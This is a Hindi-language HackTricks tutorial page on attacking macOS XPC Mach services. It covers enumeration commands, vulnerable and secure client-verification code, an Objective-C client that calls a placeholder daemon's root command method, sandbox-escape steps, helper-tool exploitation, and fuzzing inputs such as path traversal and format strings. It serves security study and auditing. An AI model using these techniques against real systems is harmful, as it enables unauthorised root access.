macOS XPC Mach Services दुरुपयोग
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बुनियादी जानकारी
XPC (Cross-Process Communication) macOS पर प्राथमिक IPC मैकेनिज्म है। System daemons उन Mach services को एक्सपोज़ करते हैं — नामित पोर्ट जो launchd के साथ रजिस्टर होते हैं — जिनसे अन्य प्रक्रियाएँ NSXPCConnection के जरिए कनेक्ट कर सकती हैं।
हर LaunchDaemon और LaunchAgent plist जिसमें MachServices key होती है, एक या अधिक नामित Mach पोर्ट रजिस्टर करता है। ये system-wide XPC endpoints हैं जिनसे कोई भी प्रक्रिया कनेक्ट करने का प्रयास कर सकती है।
Warning
XPC Mach services macOS पर single largest local privilege escalation attack surface हैं। हाल के वर्षों में अधिकांश local root exploits कमजोर XPC services के जरिए LaunchDaemons में हुए हैं। एक root daemon में प्रत्येक exposed method संभावित escalation vector हो सकता है।
आर्किटेक्चर
Client Process (user context)
↓ NSXPCConnection / xpc_connection_create_mach_service()
↓ Mach message via launchd
Daemon Process (root context)
↓ Receives XPC message
↓ (Should verify client identity / entitlements)
↓ Performs privileged operation
एन्यूमरेशन
Mach Services के साथ Daemons की खोज
# Find all LaunchDaemons with MachServices
find /Library/LaunchDaemons /System/Library/LaunchDaemons -name "*.plist" -exec sh -c '
plutil -p "{}" 2>/dev/null | grep -q "MachServices" && echo "{}"
' \; 2>/dev/null
# List active Mach services
sudo launchctl dumpstate 2>/dev/null | grep -E "name = " | sort -u | head -50
# List all launchd services
launchctl list
# Check a specific daemon's Mach services
plutil -p /Library/LaunchDaemons/com.example.daemon.plist 2>/dev/null
# Using the scanner
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged, e.isDaemon
FROM executables e
WHERE e.isDaemon = 1
ORDER BY e.privileged DESC
LIMIT 50;"
XPC इंटरफेस सूचीबद्ध करना
एक बार जब आप किसी daemon की पहचान कर लें, तो उसके XPC इंटरफेस को reverse-engineer करें:
# Find the protocol definition in the binary
strings /path/to/daemon | grep -i "protocol\|interface\|xpc\|method"
# Use class-dump to extract ObjC protocol definitions
class-dump /path/to/daemon | grep -A20 "@protocol"
# Check for XPC service bundles inside app bundles
find /Applications -path "*/XPCServices/*.xpc" 2>/dev/null
XPC क्लाइंट सत्यापन कमजोरियाँ
XPC सेवाओं में सबसे सामान्य भेद्यता वर्ग अपर्याप्त क्लाइंट सत्यापन है। daemon को निम्नलिखित सत्यापित करना चाहिए:
- कनेक्ट करने वाली प्रक्रिया का Code signature
- कनेक्ट करने वाली प्रक्रिया के Entitlements
- Audit token (PID नहीं, जो पुन: उपयोग किया जा सकता है)
कमजोर पैटर्न: कोई सत्यापन नहीं
// VULNERABLE — daemon accepts any connection
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES; // No verification!
}
कमज़ोर पैटर्न: PID-आधारित सत्यापन (Race Condition)
// VULNERABLE — PID can be reused between check and use
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
pid_t pid = newConnection.processIdentifier;
// Attacker can win race: spawn legitimate process → get PID → kill it → exploit process reuses PID
if ([self isAuthorizedPID:pid]) {
[newConnection resume];
return YES;
}
return NO;
}
सुरक्षित पैटर्न: ऑडिट टोकन सत्यापन
// SECURE — Uses audit token which cannot be spoofed
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
audit_token_t token = newConnection.auditToken;
// Verify code signature via audit token
SecCodeRef code = NULL;
NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit:
[NSData dataWithBytes:&token length:sizeof(token)]};
SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes,
kSecCSDefaultFlags, &code);
// Verify the signature matches expected signing identity
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(
CFSTR("identifier \"com.apple.expected\" and anchor apple"),
kSecCSDefaultFlags, &requirement);
OSStatus status = SecCodeCheckValidity(code, kSecCSDefaultFlags, requirement);
if (status == errSecSuccess) {
[newConnection resume];
return YES;
}
return NO;
}
हमला: असुरक्षित XPC Services से कनेक्ट करना
// Minimal XPC client — connect to a LaunchDaemon's Mach service
#import <Foundation/Foundation.h>
@protocol VulnDaemonProtocol
- (void)runCommandAsRoot:(NSString *)command withReply:(void (^)(NSString *))reply;
@end
int main(void) {
@autoreleasepool {
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:@"com.example.vulndaemon"
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(VulnDaemonProtocol)];
[conn resume];
id<VulnDaemonProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"Connection error: %@", error);
}];
// If the daemon doesn't verify our identity, this works:
[proxy runCommandAsRoot:@"id" withReply:^(NSString *result) {
NSLog(@"Result: %@", result);
// Output: uid=0(root)
}];
[[NSRunLoop currentRunLoop] run];
}
}
Attack: XPC Object Deserialization
XPC services जो complex objects (NSSecureCoding conformant) स्वीकार करते हैं, वे deserialization attacks के लिए कमजोर हो सकते हैं:
// If the daemon accepts NSObject subclasses via XPC:
// An attacker can send a crafted object that triggers:
// 1. Type confusion (wrong class instantiated)
// 2. Path traversal (filename objects with ../)
// 3. Format string bugs (string objects as format arguments)
// 4. Integer overflow (large numeric values)
Mach-Lookup Sandbox Exceptions
Exceptions कैसे Sandbox Escape को सक्षम करते हैं
Sandboxed applications सामान्यतः केवल अपने ही XPC services के साथ ही संचार कर सकती हैं। हालांकि, mach-lookup exceptions system-wide services तक पहुँचने की अनुमति देती हैं:
<!-- Entitlement granting mach-lookup exception -->
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.system.opendirectoryd.api</string>
<string>com.apple.SecurityServer</string>
<string>com.apple.CoreServices.coreservicesd</string>
</array>
व्यापक अपवादों वाले एप्लिकेशन ढूँढना
# Find sandboxed apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
echo "=== $(basename "$1") ==="
echo "$ents" | grep -B1 -A10 "mach-lookup"
}
}
' _ {} \; 2>/dev/null
Sandbox Escape Chain
1. Compromise sandboxed app (e.g., via renderer exploit in browser/email)
2. Enumerate mach-lookup exceptions from entitlements
3. Connect to each reachable system daemon
4. Fuzz the daemon's XPC interface for vulnerabilities
5. Exploit a daemon bug → code execution outside the sandbox
6. Escalate from daemon's privilege level (often root)
विशेषाधिकार प्राप्त सहायक उपकरण (SMJobBless)
ये कैसे काम करते हैं
SMJobBless एक विशेषाधिकार प्राप्त सहायक स्थापित करता है जो launchd के माध्यम से root के रूप में चलता है। सहायक XPC के माध्यम से अपने parent app के साथ संचार करता है:
App (user context) ←→ XPC ←→ Helper (root via launchd)
सामान्य भेद्यता: कमजोर प्राधिकरण
// Many helpers check authorization but:
// 1. Don't verify WHO is connecting (any process can connect)
// 2. Use rights that any admin can obtain
// 3. Cache authorization decisions
// VULNERABLE helper pattern:
- (void)performPrivilegedAction:(NSString *)action
authorization:(NSData *)authData
withReply:(void (^)(BOOL))reply {
AuthorizationRef auth;
AuthorizationCreateFromExternalForm(
(AuthorizationExternalForm *)authData.bytes, &auth);
// Only checks if caller has generic admin right
// But doesn't verify the caller is the app that installed the helper!
AuthorizationItem item = {kAuthorizationRightExecute, 0, NULL, 0};
AuthorizationRights rights = {1, &item};
if (AuthorizationCopyRights(auth, &rights, NULL,
kAuthorizationFlagDefaults, NULL) == errAuthorizationSuccess) {
// Performs action as root...
reply(YES);
}
}
कमजोर हेल्पर्स का शोषण
# 1. Find installed privileged helpers
ls /Library/PrivilegedHelperTools/
# 2. Find their LaunchDaemon plists
ls /Library/LaunchDaemons/ | grep -v "com.apple"
# 3. Check the helper's XPC interface
class-dump /Library/PrivilegedHelperTools/com.example.helper | grep -A20 "@protocol"
# 4. Check if the parent app properly verifies connections
strings /Library/PrivilegedHelperTools/com.example.helper | grep -i "codesign\|requirement\|anchor\|audit"
# If no code-signing verification strings → likely vulnerable
XPC Fuzzing
# Basic XPC fuzzing approach:
# 1. Identify the target service and protocol
plutil -p /Library/LaunchDaemons/com.example.daemon.plist
class-dump /path/to/daemon
# 2. For each exposed method, test:
# - NULL arguments
# - Empty strings
# - Very long strings (buffer overflow)
# - Path traversal strings (../../etc/passwd)
# - Format strings (%n%n%n%n)
# - Integer boundary values (INT_MAX, -1, 0)
# - Unexpected object types (send NSDictionary where NSString expected)
# 3. Monitor for crashes
log stream --predicate 'process == "daemon-name" AND (eventMessage CONTAINS "crash" OR eventMessage CONTAINS "fault")'
वास्तविक दुनिया के CVEs
| CVE | विवरण |
|---|---|
| CVE-2023-41993 | XPC service deserialization vulnerability |
| CVE-2022-22616 | Gatekeeper bypass via XPC service abuse |
| CVE-2021-30657 | Sysmond XPC privilege escalation |
| CVE-2020-9839 | XPC race condition in system daemon |
| CVE-2019-8802 | Privileged helper tool missing client verification |
| CVE-2023-32369 | Migraine — SIP bypass through systemmigrationd XPC |
| CVE-2022-26712 | PackageKit XPC root escalation |
एन्यूमरेशन स्क्रिप्ट
#!/bin/bash
echo "=== XPC Mach Services Security Audit ==="
echo -e "\n[*] Third-party privileged helpers:"
for helper in /Library/PrivilegedHelperTools/*; do
[ -f "$helper" ] || continue
echo " $helper"
codesign -dvv "$helper" 2>&1 | grep "Authority\|TeamIdentifier" | sed 's/^/ /'
done
echo -e "\n[*] Third-party LaunchDaemons with MachServices:"
for plist in /Library/LaunchDaemons/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo " $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/ /'
}
done
echo -e "\n[*] User LaunchAgents with MachServices:"
for plist in ~/Library/LaunchAgents/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo " $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/ /'
}
done
संदर्भ
- Apple Developer — XPC Services
- Apple Developer — Daemons and Services Programming Guide
- Objective-See — XPC Exploitation
- OBTS — XPC Attack Surface talks
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।


